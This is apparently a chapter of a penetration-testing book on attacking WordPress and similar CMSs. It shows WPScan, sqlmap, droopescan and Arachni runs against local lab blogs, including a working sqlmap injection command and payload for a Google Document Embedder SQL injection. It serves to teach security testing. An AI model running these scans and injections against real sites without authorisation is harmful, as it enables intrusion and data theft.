In this chapter, we will discuss attacking CMSs and WordPress in particular. It's hard to talk about web applications and not mention WordPress. WordPress is so common on the internet that you will likely come across many instances of it in your career. After all, almost a third of all websites are running on the platform and it is by far the most popular CMS.
There are alternatives to WordPress, including Drupal, Joomla, and other more modern applications, such as Ghost. All of these frameworks aim to make content publishing on the web easy and hassle free. You don't need to know JavaScript, HTML, PHP, or any other technology to get going. CMSs are generally extensible through plugins and highly customizable through themes. What sets WordPress apart is the sheer volume of installs across the internet. You are far more likely to come across a WordPress blog than a Ghost blog, for example.
Attackers love WordPress because the very thing that sets it apart from the competition — a massive community — also makes it difficult to secure. The reason WordPress has the lion's share of the market is because users don't need technical expertise to operate a foodie blog, and therein lies the problem. Those same non-technical users are less likely to update plugins or apply core patches, let alone harden their WordPress instance, and will not stray from that baseline through the years.
To be fair, auto-update has been added to WordPress as of version 3.7, but that is only effective if users actually update to version 3.7. It should also be noted that even with auto-update functionality, for change management's sake, some companies may choose to opt out to maintain stability, at the expense of security.
Enterprises love WordPress and there are several companies that provide shared hosting and management as well. It's also not unusual to have someone in marketing set up a rogue instance that the security department is unaware of, and leave it running for years.
It's easy to pick on WordPress, but Drupal and Joomla make great targets as well. They suffer from the same problems with vulnerable plugins and themes, and seldomly updated installations. WordPress is the Goliath and we will focus our attention on it, but the attack methodology will translate to any content management framework, albeit the tools may differ slightly.
In the coming pages, we will look at WordPress attacks in depth and by the end, you should be comfortable with the following:
- Testing WordPress with various tools
- Setting up persistence within the WordPress code once you get access
- Backdooring WordPress to harvest credentials and other interesting data
Just as we've done with other applications, when we come across a WordPress or CMS instance, we have to do some reconnaissance: look for low-hanging fruit and try to understand what we're up against. There are a few tools to get us going and we will look at a common scenario where they can help us to identify issues and exploit them.
The first thing attackers reach for when they encounter a WordPress CMS application is usually WPScan. It is a well-built and frequently updated tool used to discover vulnerabilities and even guess credentials.
WPScan has many useful features, including the following:
- Plugin and theme enumeration:
- Passive and active discovery
- Username enumeration
- Credential brute-forcing
- Vulnerability scanning
A useful feature for assessments is the ability to pass all of its requests through a proxy, such as a local Burp Suite instance. This allows us to see the attack live and replay some of the payloads. During an engagement, this may be useful for recording activities and even passing in a polyglot or two.
root@kali:~# wpscan --url http://cookingwithfire.local/ --proxy 127.0.0.1:8080
Proxying our scan through Burp gives us some control over the outgoing connections:
Figure 12.1: Burp capturing WPScan web requests
Note
WPScan is available on Kali and most penetration testing distributions. It can also be found on https://wpscan.org/ or cloned from GitHub: https://github.com/wpscanteam/wpscan.
A typical engagement begins with a passive scan of the target using the --url parameter. The following command will launch a default scan on the cookingwithfire.local test blog:
root@kali:~# wpscan --url http://cookingwithfire.local/ _______________________________________________________________ __ _______ _____ / / __ / ____| / / /| |__) | (___ ___ __ _ _ __ ® / / / | ___/ \___ / __|/ _' | '_ / / | | ____) | (__| (_| | | | | / / |_| |_____/ \___|\__,_|_| |_| WordPress Security Scanner by the WPScan Team Version 2.9.3 Sponsored by Sucuri - https://sucuri.net @_WPScan_, @ethicalhack3r, @erwan_lr, pvdl, @_FireFart_ _______________________________________________________________ [+] URL: http://cookingwithfire.local/ [!] The WordPress 'http://cookingwithfire.local/readme.html' file exists exposing a version number [!] Full Path Disclosure (FPD) in 'http://cookingwithfire.local/wp-includes/rss-functions.php': [+] Interesting header: LINK: <http://cookingwithfire.local/index.php?rest_route=/>; rel="https://api.w.org/" [+] Interesting header: SERVER: Apache/2.4.25 (Debian) [+] Interesting header: X-POWERED-BY: PHP/7.2.3 [+] XML-RPC Interface available under: http://cookingwithfire.local/xmlrpc.php [+] WordPress version 4.9.4 (Released on 2018-02-06) identified from meta generator, links opml [!] 1 vulnerability identified from the version number [!] Title: WordPress <= 4.9.4 - Application Denial of Service (DoS) (unpatched) Reference: https://wpvulndb.com/vulnerabilities/9021 Reference: https://baraktawily.blogspot.fr/2018/02/how-to-dos-29-of-world-wide-websites.html Reference: https://github.com/quitten/doser.py Reference: https://thehackernews.com/2018/02/WordPress-dos-exploit.html Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-6389 [+] WordPress theme in use: kale - v2.2 [+] Name: kale - v2.2 | Latest version: 2.2 (up to date) | Last updated: 2018-03-11T00:00:00.000Z | Location: http://cookingwithfire.local/wp-content/themes/kale/ | Readme: http://cookingwithfire.local/wp-content/themes/kale/readme.txt | Changelog: http://cookingwithfire.local/wp-content/themes/kale/changelog.txt | Style URL: http://cookingwithfire.local/wp-content/themes/kale/style.css | Theme Name: Kale | Theme URI: https://www.lyrathemes.com/kale/ | Description: Kale is a charming and elegant, aesthetically minimal and uncluttered food blog theme that can al... | Author: LyraThemes | Author URI: https://www.lyrathemes.com/ [+] Enumerating plugins from passive detection ... [+] No plugins found [+] Requests Done: 348 [+] Memory used: 41.449 MB [+] Elapsed time: 00:00:03 root@kali:~#
At first glance, it appears there isn't much we can use for exploitation. There is a full-path disclosure vulnerability, which may come in handy if we need to find a place to drop a shell, for example. The denial-of-service (DoS) bug is not very interesting, as the majority of clients will not allow this type of exploitation, but it may be good to mention in the report as a possible route for disruption.
By default, WPScan performs a passive enumeration of plugins. This basically means that it will only detect a plugin if it is referenced somewhere on the site. If a plugin is disabled or more inconspicuous, we may need to execute an active enumeration.
Active scans will test whether known plugin files are present in the wp-content folder and alert on any existing vulnerabilities. This is done by sending a ton of URL requests to known paths and if there's a response, WPScan assumes the plugin is available.
To specify the type of scan we want to conduct, the --enumerate (-e for short) switch accepts several parameters for active detection:
u– Look for usernames with IDs from 1 to 10u[10-20]– Look for usernames with IDs from 10 to 20:--enumerate u[15]p– Look for popular pluginsvp– Show me only vulnerable pluginsap– Look for all known pluginstt– Search for timthumbst– Enumerate popular themesvt– Show me only vulnerable themesat– Look for all known themes
You can also provide multiple --enumerate (or -e) switches to enumerate themes, plugins, and usernames all in one shot. For example, this combination of switches will perform a fairly thorough scan:
root@kali:~# wpscan --url [url] -e ap -e at -e u
Let's go ahead and start an active enumeration of available plugins on our target:
root@kali:~# wpscan --url http://cookingwithfire.local/ --enumerate p [...] [+] URL: http://cookingwithfire.local/ [...] [+] Enumerating installed plugins (only ones marked as popular) ... [...] [+] Name: google-document-embedder - v2.5 | Last updated: 2018-01-10T16:02:00.000Z | Location: http://cookingwithfire.local/wp-content/plugins/google-document-embedder/ | Readme: http://cookingwithfire.local/wp-content/plugins/google-document-embedder/readme.txt [!] The version is out of date, the latest version is 2.6.4 [!] Title: Google Document Embedder 2.4.6 - pdf.php file Parameter Arbitrary File Disclosure Reference: https://wpvulndb.com/vulnerabilities/6073 Reference: http://www.securityfocus.com/bid/57133/ Reference: http://packetstormsecurity.com/files/119329/ Reference: http://ceriksen.com/2013/01/03/WordPress-google-document-embedder-arbitrary-file-disclosure/ Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-4915 Reference: https://secunia.com/advisories/50832/ Reference: https://www.rapid7.com/db/modules/exploit/unix/webapp/wp_google_document_embedder_exec Reference: https://www.exploit-db.com/exploits/23970/ [i] Fixed in: 2.5.4 [!] Title: Google Document Embedder <= 2.5.14 - SQL Injection Reference: https://wpvulndb.com/vulnerabilities/7690 Reference: http://security.szurek.pl/google-doc-embedder-2514-sql-injection.html Reference: https://exchange.xforce.ibmcloud.com/vulnerabilities/98944 Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-9173 Reference: https://www.exploit-db.com/exploits/35371/ [i] Fixed in: 2.5.15 [!] Title: Google Document Embedder <= 2.5.16 - SQL Injection Reference: https://wpvulndb.com/vulnerabilities/7704 Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-9173 Reference: https://www.exploit-db.com/exploits/35447/ [i] Fixed in: 2.5.17 [!] Title: Google Doc Embedder <= 2.5.18 - Cross-Site Scripting (XSS) Reference: https://wpvulndb.com/vulnerabilities/7789 Reference: http://packetstormsecurity.com/files/130309/ Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-1879 [i] Fixed in: 2.5.19 [+] Requests Done: 1766 [+] Memory used: 123.945 MB [+] Elapsed time: 00:00:10 root@kali:~#
It appears Google Document Embedder was enumerated successfully and there are several critical vulnerabilities with proof of concept code publicly available.
The SQLi flaw tagged with CVE-2014-9173 has a PoC on https://www.exploit-db.com, which on Kali can be queried locally through searchsploit. This is a simple tool that searches the Kali local directory /usr/share/exploitdb/. This folder is frequently mirrored to the online database and it's useful in environments where maybe the internet is not easily accessible.
We can invoke searchsploit from the command-line with a search query as the first parameter, as shown:
Figure 12.2: searchsploit results for Google Document Embedder
searchsploit will list the Exploit Title and the associated Path, which is relative to /usr/share/exploitdb/ on Kali distributions.
In the PoC document /usr/share/exploitdb/exploits/php/webapps/35371.txt, researcher Kacper Szurek identifies the gpid URL parameter in the wp-content/plugins/google-document-embedder/view.php plugin file as the injection point.
In order to confirm this vulnerability in our target, we can jump to sqlmap, the de facto SQLi exploitation tool. sqlmap will help us to quickly generate payloads to test for injection in all of the popular Database Management Systems (DBMS), such as MySQL, PostgreSQL, MS SQL, and even Microsoft Access. To launch a new sqlmap session, we pass our full target URL via the -u parameter.
Notice that the target URL includes the GET query parameters as well, with some dummy data. If we don't tell sqlmap to target gpid, it will check every other parameter for injection as well. It makes for a great SQLi discovery, not just exploitation. Thanks to our searchsploit query, we know gpid is the vulnerable parameter and we can focus our attack on it specifically, with the -p parameter.
root@kali:~# sqlmap -u "http://cookingwithfire.local/wp-content/plugins/google-document-embedder/view.php?embedded=1&gpid=0" -p gpid [*] starting at 10:07:41 [10:07:41] [INFO] testing connection to the target URL [...]
After a few minutes, sqlmap detects the backend to be MySQL and we can tell it to only check MySQL payloads against our target. This will greatly improve our chances of confirming the vulnerability.
[10:07:49] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)'
[10:07:49] [INFO] GET parameter 'gpid' is 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)' injectable
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] yFor the remaining tests, sqlmap will confirm the existence of the vulnerability and save the state locally. Subsequent attacks on the target will use the identified payload as a starting point to inject SQL statements.
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] y [10:07:59] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns' GET parameter 'gpid' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n sqlmap identified the following injection point(s) with a total of 62 HTTP(s) requests: --- Parameter: gpid (GET) Type: error-based Title: MySQL >= 5.0 error-based - Parameter replace (FLOOR) Payload: embedded=1&gpid=(SELECT 1349 FROM(SELECT COUNT(*),CONCAT(0x716b6a7171,(SELECT (ELT(1349=1349,1))),0x716b6a7a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) --- [10:08:07] [INFO] the back-end DBMS is MySQL web server operating system: Linux Debian web application technology: Apache 2.4.25, PHP 7.2.3 back-end DBMS: MySQL >= 5.0 [10:08:07] [INFO] fetched data logged to text files under '/root/.sqlmap/output/cookingwithfire.local' [*] shutting down at 10:08:07 root@kali:~#
Note
If you want to test this vulnerable plugin in your own WordPress instance, you can download version 2.5 of the Google Document Embedder plugin from https://github.com/wp-plugins/google-document-embedder/tags?after=2.5.1.
Although not as fully-featured as WPScan, droopescan does support more than just WordPress as a scanning target. It is ideal for Drupal instances and it can also do some basic scanning for Joomla.
Droopescan can be cloned from GitHub and quickly installed:
root@kali:~/tools# git clone https://github.com/droope/droopescan Cloning into 'droopescan'... [...] root@kali:~/tools# cd droopescan/ root@kali:~/tools/droopescan# ls CHANGELOG droopescan dscan LICENSE MANIFEST.in README.md README.txt requirements_test.txt requirements.txt setup.cfg setup.py
Once extracted, we can install the dependencies manually using pip and passing in the requirements.txt option to -r:
root@kali:~/tools/droopescan# pip install -r requirements.txt Obtaining file:///root/tools/droopescan (from -r requirements.txt (line 3)) [...] root@kali:~/tools/droopescan#
Droopescan can also be installed globally using the setup.py script and the install parameter:
root@kali:~/tools/droopescan# python setup.py install Obtaining file:///root/tools/droopescan (from -r requirements.txt (line 3)) [...] root@kali:~/tools/droopescan#
To assess an application, droopescan can be launched with the scan drupal options and the target can be specified with the -u parameter:
root@kali:~# droopescan scan drupal -u http://ramblings.local -t 8 [+] No themes found. [+] Possible interesting urls found: Default admin - http://ramblings.local/user/login [+] Possible version(s): 8.5.0-rc1 [+] No plugins found. [+] Scan finished (0:03:34.527555 elapsed) root@kali:~#
This tool is a great start when looking at breaking into a Drupal, WordPress, or Joomla instance.
Arachni is a bit different from the more specialized tools discussed earlier. It is a full-featured modular framework with the capability of distributing scans through remote agents. When it is properly configured, it can be a powerful first step in assessing applications.
Arachni is free and open-source, and easily installed. It can be controlled via an easy-to-use web user interface or via the command-line. The framework can also be used to find HTML5 and Document Object Model vulnerabilities, which traditional scanners may miss.
Note
Arachni pre-compiled binaries can be found on http://www.arachni-scanner.com/.
Once extracted to disk, we have to create a user to be able to log onto the web interface. The arachni_web_create_user helper utility can be found in the bin folder.
root@kali:~/tools/arachni/bin# ./arachni_web_create_user [email protected] A!WebOf-Lies* root User 'root' with e-mail address '[email protected]' created with password 'A!WebOf-Lies*'. root@kali:~/tools/arachni/bin#
The web interface is launched using the arachni_web script in the same folder:
root@kali:~/tools/arachni/bin# ./arachni_web Puma 2.14.0 starting... * Min threads: 0, max threads: 16 * Environment: development * Listening on tcp://localhost:9292 ::1 - - "GET /unauthenticated HTTP/1.1" 302 - 0.0809 [...] ::1 - - "GET /navigation HTTP/1.1" 304 - 0.0473 ::1 - - "GET /profiles?action=index&controller=profiles&tab=global HTTP/1.1" 200 - 0.0827 ::1 - - "GET /navigation HTTP/1.1" 304 - 0.0463
The web user interface runs on http://localhost:9292 by default. Here we can initiate a new scan immediately or schedule it for later. We can also create a scan profile or interact with a remote agent.
Arachni comes with three scanning profiles by default:
- Default
- Cross-Site Scripting (XSS)
- SQL injection
The Default profile performs a variety of checks and looks for interesting files and low-hanging fruit. XSS and SQL injection are more focused profiles for the two vulnerability types.
To launch a new scan using the web UI, select New under Scans, as shown:
Figure 12.3: Starting a new Arachni scan
We can also follow along as the scan is running by looking at the Scans page. The following figure shows a sample scan running against jimsblog.local, a WordPress installation:
Figure 12.4: Arachni scan running
Issues are listed below the scan status as they are found, but a more complete report is available once the scan completes. Under the Issues section, we can see what Arachni has discovered, as shown here:
Figure 12.5: Issues identified by Arachni
The SQL injection scan profile in Arachni can also be used in a scan to verify the issue we found earlier with WPScan, in the cookingwithfire.local blog. This particular profile should complete much faster than the default scan.
Figure 12.6: SQL injection found by Arachni
The keen eye will notice that Arachni found a time-based blind SQL injection where sqlmap was able to confirm the vulnerability using an error-based technique. Technically, both techniques can be used to exploit this particular application, but the error-based technique is preferred. Time-based injection attacks are inherently slow. If Arachni finds a time-based blind SQL injection vulnerability, it may be a good idea to aim sqlmap at the same URL and see whether anything more reliable can be identified.